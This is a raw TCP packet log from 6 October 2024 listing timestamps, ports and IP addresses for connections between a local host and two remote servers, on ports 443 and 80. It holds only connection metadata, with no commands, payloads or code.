Oct 6, 2024 22:33:19.236341000 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.236875057 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.236882925 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.309854984 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.309989929 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.310306072 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.310667992 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.316548109 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.316582918 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.316608906 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.316623926 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.317946911 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.317960978 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.318316936 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.318324089 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.320482969 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.320552111 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.320636034 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.320776939 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.320791006 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.332375050 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.332529068 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.332592964 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.335566044 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.335592031 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.335632086 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.335639954 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.339303970 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.339395046 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.339478970 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.339731932 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.339770079 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.418750048 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.418885946 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.419049025 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.423939943 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.423955917 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.424002886 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.424010038 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.426573038 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.426661968 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.427083969 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.427217007 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.427251101 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.487812042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:19.492784023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:19.508423090 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.510333061 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.510344982 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.510823965 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.510829926 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.523062944 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.523786068 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.523808002 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.524218082 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.524224997 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.609625101 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.609709978 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.609807014 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.610090017 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.610102892 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.610121012 CEST	49810	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.610131025 CEST	443	49810	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.613645077 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.613687992 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.613795042 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.613993883 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.614010096 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.624280930 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.624361038 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.624476910 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.624768972 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.624785900 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.624806881 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.624813080 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.628098965 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.628144026 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:19.628228903 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.628395081 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:19.628407001 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.003345966 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.003793001 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.003911018 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.003976107 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.004180908 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.004215956 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.004405975 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.004420042 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.004537106 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.004547119 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.043328047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:20.043339968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:20.043498039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:20.045809984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:20.050708055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:20.105736017 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.106224060 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.106285095 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.106594086 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.106606960 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.108602047 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.108752012 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.108913898 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.108913898 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.108913898 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.109077930 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.109136105 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.109186888 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.109241962 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.109242916 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.109276056 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.109297991 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.112004995 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.112029076 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.112076044 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.112082005 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.112104893 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.112132072 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.112219095 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.112226963 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.112282991 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.112292051 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.209748983 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.209897041 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.210002899 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.210117102 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.210156918 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.210230112 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.210246086 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.213259935 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.213294983 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.213366032 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.213507891 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.213515043 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.264631033 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.265371084 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.265400887 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.265908003 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.265913963 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.288362980 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.288906097 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.288953066 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.289298058 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.289308071 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.321994066 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.322019100 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.364074945 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.364166021 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.364226103 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.364423037 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.364443064 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.364458084 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.364466906 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.367770910 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.367814064 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.367899895 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.368077993 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.368093967 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.393848896 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.393908978 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.393996954 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.394185066 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.394202948 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.394215107 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.394222021 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.396879911 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.396929979 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.397010088 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.397151947 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.397170067 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.609148979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:20.609162092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:20.609232903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:20.695075989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:20.695297003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:20.709856987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:20.714694977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:20.786154032 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.786180973 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.786739111 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.786750078 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.786784887 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.786791086 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.787245989 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.787249088 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.787261963 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.787265062 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.881797075 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.882402897 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.882446051 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.882925987 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.882931948 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.888737917 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.888814926 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.888864040 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.889060974 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.889072895 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.889101028 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.889106989 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.891367912 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.891550064 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.891602039 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.891665936 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.891669989 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.891685009 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.891688108 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.892030001 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.892070055 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.892139912 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.892409086 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.892427921 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.894392967 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.894437075 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.894503117 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.894654036 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.894670010 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.983532906 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.983675003 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.983860970 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.983860970 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.983860970 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.986553907 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.986592054 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:20.986670971 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.986818075 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:20.986831903 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.012629032 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.013267994 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.013286114 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.013598919 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.013603926 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.044341087 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.045053959 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.045089006 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.045305014 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.045311928 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.113255978 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.113327980 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.113375902 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.113459110 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.113475084 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.113487005 CEST	49820	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.113493919 CEST	443	49820	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.115653038 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.115684986 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.115758896 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.115869999 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.115878105 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.143982887 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.143997908 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.144066095 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.144078016 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.144246101 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.144331932 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.144332886 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.144332886 CEST	49821	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.144355059 CEST	443	49821	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.146480083 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.146492958 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.146555901 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.146672964 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.146687031 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.266694069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.266841888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.290946960 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:21.290976048 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:21.318414927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.318563938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323237896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323376894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323426962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323434114 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323436022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323488951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323532104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323542118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323549986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323559046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323581934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323582888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323595047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323604107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323607922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323612928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323626041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323632002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323635101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323659897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323661089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323671103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323677063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323720932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323753119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323802948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323807955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323854923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323863983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323864937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323910952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323918104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323935986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.323962927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323980093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.323998928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.324043989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328176022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328222990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328433990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328444004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328500986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328502893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328511000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328516006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328538895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328564882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328574896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328578949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328584909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328613997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328615904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328627110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328627110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328649044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328665972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328691006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:21.328735113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328744888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328752041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328762054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328779936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328788042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328799009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:21.328927994 CEST	80	49741	141.98.233.156	192.168.2.4
